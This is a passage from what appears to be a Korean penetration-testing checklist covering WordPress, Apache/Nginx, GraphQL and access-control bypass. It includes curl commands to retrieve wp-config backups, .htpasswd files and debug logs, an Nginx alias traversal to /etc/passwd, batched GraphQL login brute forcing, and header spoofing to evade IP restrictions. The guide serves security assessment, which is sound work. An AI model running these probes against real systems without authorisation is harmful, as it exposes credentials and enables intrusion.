wpscan --url https://<TARGET>/ --enumerate p,t,u

# 디버그 로그
curl -sS https://<TARGET>/wp-content/debug.log

# 설정 파일 백업
curl -sS https://<TARGET>/wp-config.php.bak
curl -sS https://<TARGET>/wp-config.php~
curl -sS https://<TARGET>/wp-config.php.old
curl -sS https://<TARGET>/wp-config.php.save

확인할 것: /wp-json/wp/v2/users에서 사용자 목록이 반환되면 열거된 사용자명으로 /wp-login.php 또는 xmlrpc.php에 대한 인증 공격이 가능하다. xmlrpc.php의 system.multicall은 단일 HTTP 요청에 수백 개의 인증 시도를 포함할 수 있어 속도 제한을 우회한다. debug.log는 WP_DEBUG_LOG가 활성화된 상태에서 생성되며, PHP 에러에 포함된 DB 쿼리·파일 경로·플러그인 정보가 후속 공격에 직접 사용된다.


11. 웹서버 (Apache / Nginx)​

프레임워크가 아닌 웹서버 자체의 상태·정보 모듈이 외부에 노출되는 경우를 점검한다.

식별 확인:

curl -sI https://<TARGET>/
# Server: Apache/2.4.XX (Ubuntu)
# Server: nginx/1.XX.X

Apache​

경로위험도노출 정보
/server-status🔴 High현재 연결, 요청 URL, 클라이언트 IP, vhost. ExtendedStatus On이면 상세
/server-info🔴 High전체 모듈 목록, 설정 지시어, 핸들러
/.htaccess🔴 High접근 제어·리라이트 규칙. 인증 로직 파악 가능
/.htpasswd🔴 Critical사용자명과 비밀번호 해시
/icons/🟢 LowApache 기본 아이콘 디렉터리. 설치 확인
기본 페이지🟢 Low"It works!" 또는 배포판 기본 페이지
# server-status (ExtendedStatus 포함)
curl -sS https://<TARGET>/server-status
curl -sS https://<TARGET>/server-status?auto

# server-info
curl -sS https://<TARGET>/server-info

# 접근 제어 파일
curl -sS https://<TARGET>/.htaccess
curl -sS https://<TARGET>/.htpasswd

server-status는 현재 처리 중인 요청 URL이 표시되므로, 다른 사용자의 세션 토큰이 URL 파라미터에 포함되어 있으면 세션 하이재킹으로 이어진다.

Nginx​

경로·설정위험도노출 정보
/nginx_status 또는 /stub_status🟡 Medium활성 연결 수, 요청 수 등 기본 통계
alias traversal🔴 Highlocation /static { alias /data/; } 에서 /static../etc/passwd
off-by-slash🔴 Highlocation /api { proxy_pass http://backend/; } 에서 /api../
기본 페이지🟢 Low"Welcome to nginx!"
# stub_status
curl -sS https://<TARGET>/nginx_status
curl -sS https://<TARGET>/stub_status
curl -sS https://<TARGET>/status

# Nginx alias traversal 테스트
# location /static { alias /data/static/; } 설정에서
curl -sS https://<TARGET>/static../etc/passwd

Nginx alias traversal​

Nginx의 alias 지시어에서 location 경로 끝에 /가 없고 alias 경로 끝에 /가 있으면 경로 탈출이 가능하다.

# 취약한 설정
location /static {
alias /data/static/;
}
# /static../secret.txt → /data/secret.txt 로 해석됨

# 안전한 설정
location /static/ {
alias /data/static/;
}

확인할 것: Apache server-status는 기본적으로 로컬 접근만 허용하지만, 리버스 프록시 뒤에서 X-Forwarded-For로 우회되거나 설정 실수로 전체 공개되는 경우가 있다. Nginx stub_status는 연결 수 정도만 보여주므로 단독으로는 위험도가 낮지만, 내부 네트워크에서 접근 가능한 상세 상태 모듈(ngx_http_status_module)이 있는지 별도로 확인한다.


12. GraphQL​

GraphQL은 프레임워크에 독립적이지만, introspection과 IDE 도구가 기본 활성화된 경우가 많다.

식별 확인:

# 공통 endpoint에 POST 요청
curl -sS -X POST https://<TARGET>/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}'
# {"data":{"__typename":"Query"}} → GraphQL 확인

점검 경로​

경로위험도노출 정보
/graphql—기본 endpoint
/graphiql🟡 MediumGraphiQL IDE. 쿼리 실행, 문서 탐색
/playground🟡 MediumGraphQL Playground. 동일 기능
/altair🟡 MediumAltair GraphQL Client
/v1/graphql, /v1/explorer🟡 Medium버전 접두사 변형
/graphql/console🟡 MediumHasura Console 등
introspection query🔴 High전체 스키마. 타입, 필드, 인자, 설명

Introspection 쿼리​

introspection이 활성화되면 전체 API 스키마를 한 번에 가져올 수 있다.

# 전체 스키마 introspection
curl -sS -X POST https://<TARGET>/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields { name type { name kind ofType { name } } } } } }"}'

# 간단한 introspection 확인
curl -sS -X POST https://<TARGET>/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { queryType { name } mutationType { name } } }"}'

필드 제안 (Field Suggestions)​

introspection이 비활성화되어도 잘못된 필드명을 보내면 올바른 필드명을 제안하는 경우가 있다.

curl -sS -X POST https://<TARGET>/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ user { passwor } }"}'
# {"errors":[{"message":"Cannot query field \"passwor\" on type \"User\". Did you mean \"password\"?"}]}

이 제안 기능으로 introspection 없이도 스키마를 점진적으로 파악할 수 있다. Clairvoyance 같은 도구가 이 과정을 자동화한다.

쿼리 배칭​

단일 HTTP 요청에 여러 쿼리를 배열로 보내 속도 제한을 우회할 수 있다.

curl -sS -X POST https://<TARGET>/graphql \
-H "Content-Type: application/json" \
-d '[{"query":"mutation { login(user:\"admin\",pass:\"pass1\") { token } }"},{"query":"mutation { login(user:\"admin\",pass:\"pass2\") { token } }"}]'
공통 endpoint 후보:
/graphql /gql /query
/graphiql /playground /altair
/v1/graphql /v2/graphql /api/graphql
/graphql/console /explorer /graph
# 여러 경로 한번에 확인
for path in graphql gql graphiql playground altair v1/graphql api/graphql; do
echo "=== /$path ===" && curl -sS -o /dev/null -w "%{http_code}" "https://<TARGET>/$path" && echo
done

확인할 것: introspection이 열려 있으면 전체 API 구조가 노출된다. 여기에는 mutation(데이터 변경)도 포함되므로 인증 없이 실행 가능한 mutation이 있는지 확인한다. GraphiQL/Playground 같은 IDE 도구가 열려 있으면 브라우저에서 직접 쿼리를 실행할 수 있으므로, 인증된 사용자의 쿠키가 자동 포함되는 경우 CSRF와 결합될 수 있다.


접근 제어 우회​

기본 경로가 직접 접근으로 차단(403, 404)되더라도, 경로 정규화·헤더·메서드 차이를 이용해 우회할 수 있다.

경로 정규화​

기법예시우회 원리
trailing slash/actuator/env/리버스 프록시가 /actuator/env만 차단하고 /를 붙인 요청을 통과시킴
이중 URL 인코딩/actuator/%65nvWAF가 1차 디코딩만 수행하고 앱이 2차 디코딩을 수행
path parameter/actuator/env;.cssSpring이 세미콜론 이후를 path parameter로 무시
대소문자/Actuator/EnvWindows IIS에서 대소문자 무시
dot segment/actuator/./env 또는 /../actuator/env정규화 시점 차이
null byte/actuator/env%00.html일부 파서가 null 이후를 무시
backslash/actuator\envIIS·일부 프록시에서 /로 정규화
URL 인코딩 slash/actuator%2fenv프록시와 앱의 디코딩 시점 차이
# trailing slash
curl -sS https://<TARGET>/actuator/env/

# path parameter (Spring)
curl -sS "https://<TARGET>/actuator/env;.css"
curl -sS "https://<TARGET>/actuator/env;.json"

# 이중 인코딩
curl -sS "https://<TARGET>/actuator/%65%6ev"

# dot segment
curl -sS "https://<TARGET>/actuator/./env"

# URL 인코딩 slash
curl -sS --path-as-is "https://<TARGET>/actuator%2fenv"

HTTP 메서드​

# GET이 차단될 때 다른 메서드 시도
curl -sS -X POST https://<TARGET>/actuator/env
curl -sS -X OPTIONS https://<TARGET>/actuator/env
curl -sS -X HEAD https://<TARGET>/actuator/env

IP 기반 접근 제한 우회​

내부 IP에서만 접근을 허용하는 설정을 우회하려는 시도.

curl -sS -H "X-Forwarded-For: 127.0.0.1" https://<TARGET>/actuator/env
curl -sS -H "X-Real-IP: 127.0.0.1" https://<TARGET>/actuator/env
curl -sS -H "X-Originating-IP: 127.0.0.1" https://<TARGET>/actuator/env
curl -sS -H "X-Custom-IP-Authorization: 127.0.0.1" https://<TARGET>/actuator/env

프레임워크별 특수 우회​

프레임워크기법예시
Spring세미콜론 path parameter/env;.js, /actuator/env;bypass=1
Springsuffix pattern matching (이전 버전)/env.json, /env.xml
TomcatURL 인코딩 backslash/manager/html/%5C..
Nginxoff-by-slash alias/static../sensitive-file
ASP.NET대소문자 무시/ELMAH.AXD, /Trace.axd
Railsformat 파라미터/rails/info/routes.json
WordPressrest_route 파라미터/?rest_route=/wp/v2/users (REST API URL 재작성 차단 시)

취약 판정 기준​

확정​

  • 관리 콘솔(Tomcat Manager, Django Admin, Rails DB 등)에 기본·약한 자격증명으로 접근 가능하다.
  • 디버그 모드(Werkzeug 디버거, Django DEBUG=True, Rails development 에러)가 외부에서 접근 가능하고 코드 실행 또는 환경변수·시크릿이 노출된다.
  • 환경 파일(.env, web.config, application.properties)이 인증 없이 원문으로 반환되고 유효한 자격증명을 포함한다.
  • Actuator /env, /heapdump, /configprops에서 DB 비밀번호, API 키, 시크릿이 노출된다.
  • 사용자 열거 endpoint(WordPress REST API, Django admin)에서 사용자 목록이 인증 없이 반환된다.
  • introspection으로 GraphQL 전체 스키마가 노출되고, 인증 없이 실행 가능한 민감 mutation이 존재한다.
  • 로그 파일(laravel.log, debug.log)에서 다른 사용자의 세션·인증정보·개인정보가 포함된다.
  • 알려진 CVE(Ignition RCE, Ghostcat, Next.js 미들웨어 우회)가 해당 버전에서 재현된다.

보류​

  • health·info endpoint가 일반 상태("UP", 빌드 해시)만 반환한다.
  • API 문서(Swagger, FastAPI /docs, GraphQL IDE)가 열려 있지만 민감 endpoint가 인증으로 보호된다.
  • 프레임워크 이름·버전이 에러 페이지나 헤더에서 확인되지만 추가 노출이 없다.
  • server-status, stub_status에 연결 수 같은 일반 통계만 포함된다.
  • 기본 예제 페이지(/examples/, /docs/)가 존재하지만 민감 기능 실행이 불가하다.
  • __NEXT_DATA__나 _payload.json에 공개 페이지의 공개 데이터만 포함된다.

영향 상승​

  • 관리 콘솔 접근으로 코드 배포(WAR, plugin)나 설정 변경이 가능하다.
  • 노출된 자격증명으로 운영 DB·클라우드·내부 API에 접근 가능하다.
  • 디버그 콘솔에서 서버 코드 실행이 확인된다.
  • 경로 우회로 인증이 필요한 관리 기능에 비인증 접근이 가능하다.
  • 모니터링 endpoint에서 다른 사용자의 세션 토큰·요청 정보가 노출된다.
  • 스키마·라우트 정보로 추가 취약점(IDOR, injection, 권한 우회)이 구체적으로 재현된다.

참고자료​

공식 문서​

테스트 가이드​

커뮤니티 참고 / 도구​